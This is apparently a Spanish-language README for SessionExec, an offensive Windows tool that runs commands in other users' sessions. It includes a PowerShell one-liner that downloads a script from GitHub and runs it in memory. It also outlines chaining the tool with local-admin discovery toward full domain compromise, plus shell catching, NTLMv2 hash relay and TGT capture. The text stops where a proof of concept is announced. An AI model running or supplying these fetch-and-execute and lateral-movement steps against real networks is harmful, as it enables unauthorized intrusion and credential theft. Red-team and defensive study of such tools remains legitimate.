SessionExec le permite ejecutar comandos específicos en otras sesiones en sistemas Windows, ya sea apuntando a un ID de sesión específico o a todas las sesiones, con la opción de suprimir la salida del comando.
La herramienta está inspirada en el código de explotación EOP COM Session Moniker, lanzado hace mucho tiempo por James Forshaw.
SessionExec utiliza las API de Windows para consultar información de la sesión y crear procesos dentro de esas sesiones.
Compile SessionExec.cs ejecutando el siguiente comando desde Build Tools para Visual Studio
csc /reference:System.Runtime.InteropServices.dll /reference:System.Runtime.InteropServices.RuntimeInformation.dll SessionExec.cs /out:SessionExec.exe
O puede usar Invoke-SessionExec.ps1
, que es el mismo script, pero se ejecuta en la memoria usando el método de carga reflectante.
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Leo4j/SessionExec/main/Invoke-SessionExec.ps1')
También puede encontrar una implementación pura de PowerShell de esta herramienta codificada por The-Viper-One aquí.
SessionExec.exe[/NoOutput]
Invoke-SessionExec[/NoOutput]
Compruebe qué sesiones están disponibles utilizando el comando quser
. Luego ejecute un comando en una sesión específica o All
las sesiones.
Si es administrador local en una o varias máquinas dentro de una red y hay sesiones de usuario en esos objetivos, puede usar SessionExec y Find-LocalAdminAccess juntos para verificar si alguno de esos usuarios tiene acceso de administrador local sobre otras máquinas en la red.
Si es así, podría repetir el proceso para los usuarios que tengan una sesión en esas máquinas. En teoría, esta cadena de acciones podría conducir a un compromiso de dominio total.
Además, puede recuperar shells usando Amnesiac, capturar hashes NTLMv2 y transmitirlos, capturar TGT y mucho más, todo de forma automatizada.
Implementaré este concepto en Amnesiac y, junto con The-Viper-One, estamos trabajando para implementarlo también en PsMapExec.
Por ahora, aquí hay una prueba de concepto (PoC):